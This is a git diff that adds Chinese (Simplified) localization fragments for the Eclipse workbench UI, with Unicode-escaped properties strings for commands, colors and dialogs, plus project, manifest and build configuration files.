+category.perspective.description=\u6253\u5f00\u900f\u89c6\u56fe\u7684\u547d\u4ee4 +category.window.name=\u7a97\u53e3 +category.help.name=\u5e2e\u52a9 +category.view.name=\u89c6\u56fe +category.view.description=\u6253\u5f00\u89c6\u56fe\u7684\u547d\u4ee4 +command.aboutAction.description=\u6253\u5f00\u201c\u5173\u4e8e\u201d\u5bf9\u8bdd\u6846 +command.aboutAction.name=\u5173\u4e8e +command.installationDialog.description=\u6253\u5f00\u5b89\u88c5\u5bf9\u8bdd\u6846 +command.installationDialog.name=\u5b89\u88c5\u4fe1\u606f +command.activateEditor.description=\u6fc0\u6d3b\u7f16\u8f91\u5668 +command.activateEditor.name=\u6fc0\u6d3b\u7f16\u8f91\u5668 +command.addBookmark.description=\u6dfb\u52a0\u4e66\u7b7e +command.addBookmark.name=\u6dfb\u52a0\u4e66\u7b7e +command.back.description=\u5411\u540e\u6d4f\u89c8 +command.back.name=\u8fd4\u56de +command.backwardHistory.description=\u5728\u7f16\u8f91\u5668\u5bfc\u822a\u5386\u53f2\u8bb0\u5f55\u4e2d\u5411\u540e\u79fb\u52a8 +command.backwardHistory.name=\u540e\u9000\u5386\u53f2\u8bb0\u5f55 +command.close.description=\u5173\u95ed\u6d3b\u52a8\u7684\u7f16\u8f91\u5668 +command.close.name=\u5173\u95ed +command.closePart.description=\u5173\u95ed\u6d3b\u52a8\u7684\u5de5\u4f5c\u53f0\u90e8\u5206 +command.closePart.name=\u5173\u95ed\u90e8\u5206 +command.closeAll.description=\u5173\u95ed\u6240\u6709\u7f16\u8f91\u5668 +command.closeAll.name=\u5168\u90e8\u5173\u95ed +command.closeOthers.description=\u5173\u95ed\u9664\u6d3b\u52a8\u7f16\u8f91\u5668\u5916\u7684\u6240\u6709\u7f16\u8f91\u5668 +command.closeOthers.name=\u5173\u95ed\u5176\u4ed6 +command.closeAllPerspectives.description=\u5173\u95ed\u6240\u6709\u6253\u5f00\u7684\u900f\u89c6\u56fe +command.closeAllPerspectives.name=\u5173\u95ed\u6240\u6709\u900f\u89c6\u56fe +command.closePerspective.description=\u5173\u95ed\u5f53\u524d\u900f\u89c6\u56fe +command.closePerspective.name=\u5173\u95ed\u900f\u89c6\u56fe +command.closePerspective.perspectiveId.name=\u900f\u89c6\u56fe\u6807\u8bc6 +command.contentAssistContextInformation.description=\u663e\u793a\u4e0a\u4e0b\u6587\u4fe1\u606f +command.contentAssistContextInformation.name=\u4e0a\u4e0b\u6587\u4fe1\u606f +command.contentAssistProposals.description=\u5185\u5bb9\u8f85\u52a9 +command.contentAssistProposals.name=\u5185\u5bb9\u8f85\u52a9 +command.copy.description=\u5c06\u9009\u62e9\u7684\u5185\u5bb9\u590d\u5236\u5230\u526a\u8d34\u677f +command.copy.name=\u590d\u5236 +command.customizePerspective.description=\u5b9a\u5236\u5f53\u524d\u900f\u89c6\u56fe +command.customizePerspective.name=\u5b9a\u5236\u900f\u89c6\u56fe +command.cut.description=\u5c06\u9009\u62e9\u7684\u5185\u5bb9\u526a\u5207\u5230\u526a\u8d34\u677f\u4e2d +command.cut.name=\u526a\u5207 +command.delete.description=\u5220\u9664\u9009\u62e9\u7684\u5185\u5bb9 +command.delete.name=\u5220\u9664 +command.displayHelp.description=\u663e\u793a\u5e2e\u52a9\u4e3b\u9898 +command.displayHelp.hrefParameter=\u5e2e\u52a9\u4e3b\u9898\u8d85\u94fe\u63a5 +command.displayHelp.name=\u663e\u793a\u5e2e\u52a9 +command.exit.description=\u9000\u51fa\u5e94\u7528\u7a0b\u5e8f +command.exit.name=\u9000\u51fa +command.export.description=\u5bfc\u51fa +command.export.exportWizardIdParameter.name=\u5bfc\u51fa\u5411\u5bfc +command.export.name=\u5bfc\u51fa +command.findReplace.description=\u67e5\u627e\u5e76\u66ff\u6362\u6587\u672c +command.findReplace.name=\u67e5\u627e\u5e76\u66ff\u6362 +command.forward.description=\u5411\u524d\u6d4f\u89c8 +command.forward.name=\u524d\u8fdb +command.forwardHistory.description=\u5728\u7f16\u8f91\u5668\u5bfc\u822a\u5386\u53f2\u8bb0\u5f55\u4e2d\u5411\u524d\u79fb\u52a8 +command.forwardHistory.name=\u524d\u79fb\u5386\u53f2\u8bb0\u5f55 +command.goInto.description=\u6d4f\u89c8\u81f3\u6240\u9009\u62e9\u9879 +command.goInto.name=\u8f6c\u81f3 +command.helpContents.description=\u6253\u5f00\u5e2e\u52a9\u5185\u5bb9 +command.helpContents.name=\u5e2e\u52a9\u5185\u5bb9 +command.helpSearch.description=\u6253\u5f00\u5e2e\u52a9\u641c\u7d22 +command.helpSearch.name=\u5e2e\u52a9\u641c\u7d22 +command.dynamicHelp.description=\u6253\u5f00\u52a8\u6001\u5e2e\u52a9 +command.dynamicHelp.name=\u52a8\u6001\u5e2e\u52a9 +command.hideShowEditors.description=\u9690\u85cf\u6240\u6709\u7f16\u8f91\u5668 +command.hideShowEditors.name=\u9690\u85cf\u7f16\u8f91\u5668 +command.import.description=\u5bfc\u5165 +command.import.importWizardIdParameter.name=\u5bfc\u5165\u5411\u5bfc +command.import.name=\u5bfc\u5165 +command.lockToolBar.description=\u9501\u5b9a\u5de5\u5177\u680f +command.lockToolBar.name=\u9501\u5b9a\u5de5\u5177\u680f +command.linkWithEditor.description=\u5c06\u89c6\u56fe\u7684\u9009\u62e9\u9879\u4e0e\u5f53\u524d\u6d3b\u52a8\u7f16\u8f91\u5668\u7684\u9009\u62e9\u9879\u76f8\u5173\u8054 +command.linkWithEditor.name=\u5173\u8054\u7f16\u8f91\u5668\u94fe\u63a5 +command.maximizePart.name=\u5c06\u6d3b\u52a8\u89c6\u56fe\u6216\u7f16\u8f91\u5668\u6700\u5927\u5316 +command.maximizePart.description=\u5207\u6362\u6d3b\u52a8\u89c6\u56fe\u6216\u7f16\u8f91\u5668\u7684\u6700\u5927\u5316\uff0f\u590d\u539f\u72b6\u6001 +command.minimizePart.name=\u5c06\u6d3b\u52a8\u89c6\u56fe\u6216\u7f16\u8f91\u5668\u6700\u5c0f\u5316 +command.minimizePart.description=\u5c06\u6d3b\u52a8\u89c6\u56fe\u6216\u7f16\u8f91\u5668\u6700\u5c0f\u5316 +command.move.description=\u79fb\u52a8\u6240\u9009\u9879 +command.move.name=\u79fb\u52a8... +command.newEditor.description=\u5bf9\u6d3b\u52a8\u7f16\u8f91\u5668\u7684\u8f93\u5165\u6253\u5f00\u53e6\u4e00\u4e2a\u7f16\u8f91\u5668 +command.newEditor.name=\u65b0\u5efa\u7f16\u8f91\u5668 +command.newWindow.description=\u6253\u5f00\u53e6\u4e00\u4e2a\u7a97\u53e3 +command.newWindow.name=\u65b0\u5efa\u7a97\u53e3 +command.newWizard.newWizardIdParameter.name=\u201c\u65b0\u5efa\u201d\u5411\u5bfc +command.newWizard.description=\u6253\u5f00\u201c\u65b0\u5efa\u9879\u201d\u5411\u5bfc +command.newWizard.name=\u65b0\u5efa +command.next.description=\u6d4f\u89c8\u81f3\u4e0b\u4e00\u9879 +command.next.name=\u4e0b\u4e00\u6b65 +command.nextEditor.description=\u5207\u6362\u81f3\u4e0b\u4e00\u4e2a\u7f16\u8f91\u5668 +command.nextEditor.name=\u4e0b\u4e00\u4e2a\u7f16\u8f91\u5668 +command.nextPage.name=\u4e0b\u4e00\u9875 +command.nextPage.description=\u5207\u6362\u81f3\u4e0b\u4e00\u4e2a\u9875\u9762 +command.nextPerspective.description=\u5207\u6362\u81f3\u4e0b\u4e00\u4e2a\u900f\u89c6\u56fe +command.nextPerspective.name=\u4e0b\u4e00\u4e2a\u900f\u89c6\u56fe +command.nextSubTab.name=\u4e0b\u4e00\u4e2a\u5b50\u6807\u7b7e +command.nextSubTab.description=\u5207\u6362\u5230\u4e0b\u4e00\u5b50\u6807\u7b7e +command.nextTab.name=\u4e0b\u4e00\u4e2a\u6807\u7b7e +command.nextTab.description=\u5207\u6362\u5230\u4e0b\u4e00\u4e2a\u6807\u7b7e +command.nextView.description=\u5207\u6362\u81f3\u4e0b\u4e00\u4e2a\u89c6\u56fe +command.nextView.name=\u4e0b\u4e00\u4e2a\u89c6\u56fe +command.openEditorDropDown.description=\u6253\u5f00\u7f16\u8f91\u5668\u4e0b\u62c9\u5217\u8868 +command.openEditorDropDown.name=\u5feb\u901f\u5207\u6362\u7f16\u8f91\u5668 +command.paste.description=\u4ece\u526a\u8d34\u677f\u4e2d\u7c98\u8d34 +command.paste.name=\u7c98\u8d34 +command.pinEditor.description=\u9501\u5b9a\u5f53\u524d\u7f16\u8f91\u5668 +command.pinEditor.name=\u9501\u5b9a\u7f16\u8f91\u5668 +command.preferences.description=\u6253\u5f00\u201c\u9996\u9009\u9879\u201d\u5bf9\u8bdd\u6846 +command.preferences.name=\u9996\u9009\u9879 +command.preferences.preferencePageIdParameter=\u9996\u9009\u9879\u9875\u9762 +command.previous.description=\u6d4f\u89c8\u81f3\u4e0a\u4e00\u9879 +command.previous.name=\u4e0a\u4e00\u6b65 +command.previousEditor.description=\u5207\u6362\u81f3\u4e0a\u4e00\u4e2a\u7f16\u8f91\u5668 +command.previousEditor.name=\u4e0a\u4e00\u4e2a\u7f16\u8f91\u5668 +command.previousPage.name=\u524d\u4e00\u9875 +command.previousPage.description=\u5207\u6362\u81f3\u4e0a\u4e00\u4e2a\u9875\u9762 +command.previousPerspective.description=\u5207\u6362\u81f3\u4e0a\u4e00\u4e2a\u900f\u89c6\u56fe +command.previousPerspective.name=\u4e0a\u4e00\u4e2a\u900f\u89c6\u56fe +command.previousSubTab.name=\u524d\u4e00\u5b50\u6807\u7b7e +command.previousSubTab.description=\u5207\u6362\u5230\u524d\u5b50\u6807\u7b7e +command.previousTab.name=\u524d\u4e00\u4e2a\u6807\u7b7e +command.previousTab.description=\u5207\u6362\u5230\u524d\u4e00\u4e2a\u6807\u7b7e +command.previousView.description=\u5207\u6362\u81f3\u4e0a\u4e00\u4e2a\u89c6\u56fe +command.previousView.name=\u4e0a\u4e00\u4e2a\u89c6\u56fe +command.print.description=\u6253\u5370 +command.print.name=\u6253\u5370 +command.properties.description=\u663e\u793a\u6240\u9009\u9879\u7684\u5c5e\u6027 +command.properties.name=\u5c5e\u6027 +command.quickAccess.description=\u5feb\u901f\u8bbf\u95ee\u7528\u6237\u754c\u9762\u5143\u7d20 +command.quickAccess.name=\u5feb\u901f\u8bbf\u95ee +command.spy.description=\u4e3a\u5f53\u524d\u9009\u5b9a\u7684\u5143\u7d20\u663e\u793a\u8d21\u732e\u4fe1\u606f +command.spy.name=\u663e\u793a\u8d21\u732e\u63d2\u4ef6 +command.quickStart.description=\u663e\u793a\u4f9b\u5165\u95e8\u7528\u6237\u4f7f\u7528\u7684\u5e2e\u52a9 +command.quickStart.name=\u6b22\u8fce +command.redo.description=\u91cd\u505a\u4e0a\u4e00\u4e2a\u64cd\u4f5c +command.redo.name=\u91cd\u505a +command.refresh.description=\u5237\u65b0\u6240\u9009\u9879 +command.refresh.name=\u5237\u65b0 +command.rename.description=\u91cd\u547d\u540d\u6240\u9009\u9879 +command.rename.name=\u91cd\u547d\u540d +command.resetPerspective.description=\u5c06\u5f53\u524d\u900f\u89c6\u56fe\u590d\u4f4d\u4e3a\u5176\u7f3a\u7701\u72b6\u6001 +command.resetPerspective.name=\u590d\u4f4d\u900f\u89c6\u56fe +command.restartWorkbench.name=\u91cd\u65b0\u542f\u52a8 +command.restartWorkbench.description=\u91cd\u65b0\u542f\u52a8\u5de5\u4f5c\u53f0 +command.revert.description=\u8fd8\u539f\u81f3\u4e0a\u6b21\u4fdd\u5b58\u7684\u72b6\u6001 +command.revert.name=\u8fd8\u539f +command.save.description=\u4fdd\u5b58\u5f53\u524d\u5185\u5bb9 +command.save.name=\u4fdd\u5b58 +command.saveAll.description=\u4fdd\u5b58\u6240\u6709\u5f53\u524d\u5185\u5bb9 +command.saveAll.name=\u4fdd\u5b58\u5168\u90e8 +command.saveAs.description=\u5c06\u5f53\u524d\u5185\u5bb9\u4fdd\u5b58\u81f3\u53e6\u4e00\u4e2a\u4f4d\u7f6e +command.saveAs.name=\u53e6\u5b58\u4e3a +command.savePerspective.description=\u4fdd\u5b58\u5f53\u524d\u900f\u89c6\u56fe +command.savePerspective.name=\u5c06\u900f\u89c6\u56fe\u53e6\u5b58\u4e3a +command.selectAll.description=\u5168\u90e8\u9009\u4e2d +command.selectAll.name=\u5168\u90e8\u9009\u4e2d +command.showKeyAssist.description=\u663e\u793a\u952e\u8f85\u52a9\u5bf9\u8bdd\u6846 +command.showKeyAssist.name=\u663e\u793a\u952e\u8f85\u52a9 +command.showPerspective.name=\u663e\u793a\u900f\u89c6\u56fe +command.showPerspective.description=\u663e\u793a\u7279\u5b9a\u900f\u89c6\u56fe +command.showPerspective.perspectiveIdParameter=\u53c2\u6570 +command.showPerspective.newWindowParameter=\u5728\u65b0\u7a97\u53e3 +command.showSystemMenu.description=\u663e\u793a\u7cfb\u7edf\u83dc\u5355 +command.showSystemMenu.name=\u663e\u793a\u7cfb\u7edf\u83dc\u5355 +command.showViewMenu.description=\u663e\u793a\u89c6\u56fe\u83dc\u5355 +command.showViewMenu.name=\u663e\u793a\u89c6\u56fe\u83dc\u5355 +command.showView.name=\u663e\u793a\u89c6\u56fe +command.showView.description=\u663e\u793a\u7279\u5b9a\u89c6\u56fe +command.showView.viewIdParameter=\u67e5\u770b +command.showView.makeFastParameter=\u4f5c\u4e3a\u5feb\u901f\u89c6\u56fe +command.switchToEditor.description=\u5207\u6362\u81f3\u7f16\u8f91\u5668 +command.switchToEditor.name=\u5207\u6362\u81f3\u7f16\u8f91\u5668 +command.tipsAndTricks.description=\u6253\u5f00\u63d0\u793a\u548c\u6280\u5de7\u5e2e\u52a9\u9875\u9762 +command.tipsAndTricks.name=\u63d0\u793a\u548c\u6280\u5de7 +command.undo.description=\u64a4\u9500\u4e0a\u4e00\u6b21\u64cd\u4f5c +command.undo.name=\u64a4\u9500 +command.up.description=\u6d4f\u89c8\u81f3\u4e0a\u4e00\u5c42 +command.up.name=\u5411\u4e0a +command.toggleCoolbar.name=\u5207\u6362\u5de5\u5177\u680f\u53ef\u89c1\u6027 +command.toggleCoolbar.description=\u5207\u6362\u5de5\u5177\u680f\u53ef\u89c1\u6027 +context.editingText.description=\u7f16\u8f91\u6587\u672c\u4e0a\u4e0b\u6587 +context.editingText.name=\u7f16\u8f91\u6587\u672c +context.dialogAndWindow.name=\u5728\u5bf9\u8bdd\u6846\u548c\u7a97\u53e3\u4e2d +context.dialogAndWindow.description=\u5bf9\u8bdd\u6846\u6216\u7a97\u53e3\u662f\u6253\u5f00\u7684 +context.dialog.name=\u5728\u5bf9\u8bdd\u6846\u4e2d +context.dialog.description=\u5bf9\u8bdd\u6846\u662f\u6253\u5f00\u7684 +context.window.name=\u5728\u7a97\u53e3\u4e2d +context.window.description=\u7a97\u53e3\u662f\u6253\u5f00\u7684 +context.actionSet.name=\u52a8\u4f5c\u8bbe\u7f6e +context.actionSet.description=\u4e0a\u5c42\u83dc\u5355\u52a8\u4f5c\u8bbe\u7f6e +keyConfiguration.default.description=\u7f3a\u7701\u952e\u914d\u7f6e +keyConfiguration.default.name=\u7f3a\u7701\u503c +keyConfiguration.emacs.description=Emacs \u952e\u914d\u7f6e +Color.activeTabText=\u6d3b\u52a8\u90e8\u4ef6\u7684\u524d\u666f +Color.activeTabTextDesc=\u7528\u4e8e\u6d3b\u52a8\u89c6\u56fe\u548c\u7f16\u8f91\u5668\u6807\u9898\u6587\u672c\u7684\u989c\u8272\u3002 +Color.activeNofocusTabText=\u6d3b\u52a8\uff08\u975e\u7126\u70b9\uff09\u90e8\u4ef6\u7684\u524d\u666f +Color.activeNofocusTabTextDesc=\u7528\u4e8e\u6d3b\u52a8\uff08\u4f46\u6ca1\u6709\u7126\u70b9\uff09\u89c6\u56fe\u548c\u7f16\u8f91\u5668\u6807\u9898\u6587\u672c\u7684\u989c\u8272\u3002 +Color.inactiveTabText=\u4e0d\u6d3b\u52a8\u90e8\u4ef6\u7684\u524d\u666f +Color.inactiveTabTextDesc=\u7528\u4e8e\u4e0d\u6d3b\u52a8\u7684\u89c6\u56fe\u548c\u7f16\u8f91\u5668\u6807\u9898\u6587\u672c\u7684\u989c\u8272\u3002 +Color.activeTabBGStart=\u6d3b\u52a8\u90e8\u4ef6\u80cc\u666f\u5f00\u59cb +Color.activeTabBGEnd=\u6d3b\u52a8\u90e8\u4ef6\u80cc\u666f\u7ed3\u675f +Color.activeTabBGStartDesc=\u7528\u4e8e\u6d3b\u52a8\u89c6\u56fe\u548c\u7f16\u8f91\u5668\u6807\u9898\u6e10\u53d8\u7684\u7b2c\u4e00\u79cd\u989c\u8272\u3002 +Color.activeTabBGEndDesc=\u7528\u4e8e\u6d3b\u52a8\u89c6\u56fe\u548c\u7f16\u8f91\u5668\u6807\u9898\u6e10\u53d8\u7684\u7b2c\u4e8c\u79cd\u989c\u8272\u3002 +Color.activeNofocusTabBGStart=\u6d3b\u52a8\uff08\u975e\u7126\u70b9\uff09\u90e8\u4ef6\u80cc\u666f\u5f00\u59cb +Color.activeNofocusTabBGEnd=\u6d3b\u52a8\uff08\u975e\u7126\u70b9\uff09\u90e8\u4ef6\u80cc\u666f\u7ed3\u675f +Color.activeNofocusTabBGStartDesc=\u7528\u4e8e\u6d3b\u52a8\uff08\u4f46\u6ca1\u6709\u7126\u70b9\u72b6\u6001\uff09\u89c6\u56fe\u548c\u7f16\u8f91\u5668\u6807\u9898\u6e10\u53d8\u7684\u7b2c\u4e00\u79cd\u989c\u8272\u3002 +Color.activeNofocusTabBGEndDesc=\u7528\u4e8e\u6d3b\u52a8\uff08\u4f46\u6ca1\u6709\u7126\u70b9\u72b6\u6001\uff09\u89c6\u56fe\u548c\u7f16\u8f91\u5668\u6807\u9898\u6e10\u53d8\u7684\u7b2c\u4e8c\u79cd\u989c\u8272\u3002 +Color.inactiveTabBGStart=\u4e0d\u6d3b\u52a8\u90e8\u4ef6\u80cc\u666f\u5f00\u59cb +Color.inactiveTabBGEnd=\u4e0d\u6d3b\u52a8\u90e8\u4ef6\u80cc\u666f\u7ed3\u675f +Color.inactiveTabBGStartDesc=\u7528\u4e8e\u4e0d\u6d3b\u52a8\u89c6\u56fe\u548c\u7f16\u8f91\u5668\u6807\u9898\u6e10\u53d8\u7684\u7b2c\u4e00\u79cd\u989c\u8272\u3002\u6b64\u989c\u8272\u4e5f\u7528\u4e8e\u6ca1\u6709\u7126\u70b9\u7684\u6d3b\u52a8\u7f16\u8f91\u5668\u3002 +Color.inactiveTabBGEndDesc=\u7528\u4e8e\u4e0d\u6d3b\u52a8\u89c6\u56fe\u548c\u7f16\u8f91\u5668\u6807\u9898\u6e10\u53d8\u7684\u7b2c\u4e8c\u79cd\u989c\u8272\u3002\u6b64\u989c\u8272\u4e5f\u7528\u4e8e\u89c6\u56fe\u83dc\u5355\u80cc\u666f\u3002 +Color.errorText=\u9519\u8bef\u6587\u672c\u989c\u8272 +Color.errorTextDesc=\u7528\u6765\u663e\u793a\u9519\u8bef\u6d88\u606f\u7684\u989c\u8272\u3002 +Color.hyperlinkText=\u8d85\u94fe\u63a5\u6587\u672c\u989c\u8272 +Color.hyperlinkTextDesc=\u7528\u6765\u663e\u793a\u94fe\u63a5\u7684\u989c\u8272\u3002 +Color.activeHyperlinkText=\u6d3b\u52a8\u7684\u8d85\u94fe\u63a5\u6587\u672c\u989c\u8272 +Color.activeHyperlinkTextDesc=\u7528\u6765\u663e\u793a\u6d3b\u52a8\u94fe\u63a5\u7684\u989c\u8272\u3002 +Color.qualifierText=\u9884\u9009\u4fe1\u606f\u989c\u8272 +Color.qualifierTextDesc=\u7528\u4e8e\u5728\u652f\u6301\u5f69\u8272\u6807\u7b7e\u7684\u89c6\u56fe\u4e2d\u663e\u793a\u9650\u5b9a\u7b26\u4fe1\u606f\u7684\u989c\u8272\u3002\u5728\u5b57\u7b26\u4e32\u201cFoo.txt - myproject/bar\u201d\u4e2d\uff0c\u9650\u5b9a\u7b26\u662f\u201c- myproject/bar\u201d +Color.decorationsText=\u88c5\u9970\u989c\u8272 +Color.decorationsTextDesc=\u7528\u4e8e\u5728\u652f\u6301\u5f69\u8272\u6807\u7b7e\u7684\u89c6\u56fe\u4e2d\u663e\u793a\u88c5\u9970\u4fe1\u606f\u7684\u989c\u8272\u3002\u5728\u5b57\u7b26\u4e32\u201cFoo.txt [1.16]\u201d\u4e2d\uff0c\u88c5\u9970\u4fe1\u606f\u662f\u201c[1.16]\u201d\u3002 +Color.counterText=\u8ba1\u6570\u5668\u989c\u8272 +Color.counterTextDesc=\u7528\u4e8e\u5728\u652f\u6301\u5f69\u8272\u6807\u7b7e\u7684\u89c6\u56fe\u4e2d\u663e\u793a\u8ba1\u6570\u5668\u4fe1\u606f\u7684\u989c\u8272\u3002\u5728\u5b57\u7b26\u4e32\u201cFoo.txt (2 matches)\u201d\u4e2d\uff0c\u8ba1\u6570\u5668\u4fe1\u606f\u662f\u201c(2 matches)\u201d\u3002 +Color.contentAssistForeground=\u5185\u5bb9\u5e2e\u52a9\u6846\u524d\u666f\u8272 +Color.contentAssistForegroundDesc=\u7528\u4e8e\u5185\u5bb9\u5e2e\u52a9\u5f39\u51fa\u6587\u672c\u7684\u989c\u8272\u3002 +Color.contentAssistBackground=\u5185\u5bb9\u8f85\u52a9\u80cc\u666f\u8272 +Color.contentAssistBackgroundDesc=\u7528\u4e8e\u5185\u5bb9\u5e2e\u52a9\u5f39\u51fa\u80cc\u666f\u7684\u989c\u8272\u3002 +ThemeName.SystemDefault=\u7cfb\u7edf\u7f3a\u7701\u503c +HighContrast.ThemeDescription=\u6240\u6709\u503c\u90fd\u57fa\u4e8e\u7cfb\u7edf\u8bbe\u7f6e\u7684\u4e3b\u9898\u3002 +ThemeName.R30=\u7ecf\u5178\u4e3b\u9898 +SettingsTransfer.WorkbenchLayout=\u5de5\u4f5c\u53f0\u5e03\u5c40 +SettingsTransfer.WorkingSets=\u5de5\u4f5c\u96c6 +PropertyPage.workingSets.name=\u5de5\u4f5c\u96c6\u5185\u5bb9 +command.collapseAll.description=\u6298\u53e0\u5f53\u524d\u6811 +command.collapseAll.name=\u6298\u53e0\u5168\u90e8 +command.expandAll.description=\u5c55\u5f00\u5f53\u524d\u6811 +command.expandAll.name=\u5c55\u5f00\u5168\u90e8 +command.quickMenu.name=\u6253\u5f00\u5feb\u6377\u83dc\u5355 +command.quickMenu.uri.name=\u4f4d\u7f6e URI +command.showIn.name=\u663e\u793a\u4f4d\u7f6e +command.showIn.targetId.name=\u663e\u793a\u5230\u76ee\u6807id +installationPage.main.name=\u5173\u4e8e +installationPage.system.name=\u914d\u7f6e +installationPage.plugins.name=\u63d2\u4ef6 +activeContextInfo.name=\u663e\u793a activeContext \u4fe1\u606f \ No newline at end of file diff --git a/i18n/org.eclipse.ui.nl_zh/src/do_not_delete b/i18n/org.eclipse.ui.nl_zh/src/do_not_delete new file mode 100644 index 0000000..e69de29 diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/.classpath b/i18n/org.eclipse.ui.workbench.nl_zh/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/.project b/i18n/org.eclipse.ui.workbench.nl_zh/.project new file mode 100644 index 0000000..47cb771 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/.project @@ -0,0 +1,28 @@ + + + org.eclipse.ui.workbench.nl_zh + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.ui.workbench.nl_zh/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..416f4fb --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,11 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/META-INF/MANIFEST.MF b/i18n/org.eclipse.ui.workbench.nl_zh/META-INF/MANIFEST.MF new file mode 100644 index 0000000..11aff6e --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.ui.workbench Chinese (Simplified) NLS Support +Bundle-SymbolicName: org.eclipse.ui.workbench.nl_zh ;singleton=true +Bundle-Version: 8.0.2.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.ui.workbench +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/build.properties b/i18n/org.eclipse.ui.workbench.nl_zh/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/ExtensionEventHandler_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/ExtensionEventHandler_zh.properties new file mode 100644 index 0000000..41a342d --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/ExtensionEventHandler_zh.properties @@ -0,0 +1,6 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ExtensionEventHandler_new_action_set=\u64cd\u4f5c\u96c6\u3002 +ExtensionEventHandler_following_changes=\u5df2\u68c0\u6d4b\u5230\u4e0b\u5217\u66f4\u6539\uff1a\n\n +ExtensionEventHandler_change_format=* {0} \u5df2\u6dfb\u52a0 {1}\n +ExtensionEventHandler_need_to_reset=\n\u5c06\u9700\u8981\u590d\u4f4d\u900f\u89c6\u56fe\u4ee5\u4fbf\u91cd\u7ec4\u8fd9\u4e9b\u66f4\u6539\u3002\u60f3\u8981\u590d\u4f4d\u5f53\u524d\u900f\u89c6\u56fe\u5417\uff1f +ExtensionEventHandler_reset_perspective=\u8981\u590d\u4f4d\u900f\u89c6\u56fe\u5417\uff1f \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/activities/ws/EnablementDialog_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/activities/ws/EnablementDialog_zh.properties new file mode 100644 index 0000000..04a666f --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/activities/ws/EnablementDialog_zh.properties @@ -0,0 +1,12 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +title=\u786e\u8ba4\u542f\u7528 +proceedMulti=\u8981\u542f\u7528\u6240\u9009\u6d3b\u52a8\u5417\uff1f +proceedSingle=\u8981\u542f\u7528\u5fc5\u9700\u7684\u6d3b\u52a8\u5417\uff1f +requiresSingle=\u6b64\u64cd\u4f5c\u8981\u6c42\u542f\u7528\u201c{0}\u201d\u3002 +requiresMulti=\u6b64\u64cd\u4f5c\u8981\u6c42\u81f3\u5c11\u542f\u7528\u4e0b\u5217\u4e00\u9879\uff1a\n +dontAsk=\u59cb\u7ec8\u542f\u7528\u6d3b\u52a8\u5e76\u4e14\u4e0d\u8981\u518d\u6b21\u8be2\u95ee\u6211(&A) +noDescAvailable=\u672a\u63d0\u4f9b\u63cf\u8ff0\u3002 +noDetails=\u9009\u62e9\u67d0\u4e2a\u6d3b\u52a8\u4ee5\u67e5\u770b\u5b83\u7684\u63cf\u8ff0\u3002 +detailsLabel=\u201c{0}\u201d\u7684\u63cf\u8ff0(&E)\uff1a +showDetails=\u8be6\u7ec6\u4fe1\u606f(&D) >> +hideDetails=<< \u8be6\u7ec6\u4fe1\u606f(&D) \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/activities/ws/messages_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/activities/ws/messages_zh.properties new file mode 100644 index 0000000..f655c0d --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/activities/ws/messages_zh.properties @@ -0,0 +1,17 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ActivityEnabler_description=\u63cf\u8ff0(&N)\uff1a +ActivityEnabler_activities=\u6d3b\u52a8(&A) +ActivityEnabler_categories=\u7c7b\u522b(&C) +ActivityEnabler_selectAll=\u5168\u90e8\u542f\u7528(&E) +ActivityEnabler_deselectAll=\u5168\u90e8\u7981\u7528(&I) +ActivitiesPreferencePage_advancedDialogTitle=\u9ad8\u7ea7 {0} \u8bbe\u7f6e +ActivitiesPreferencePage_advancedButton=\u9ad8\u7ea7(&V)... 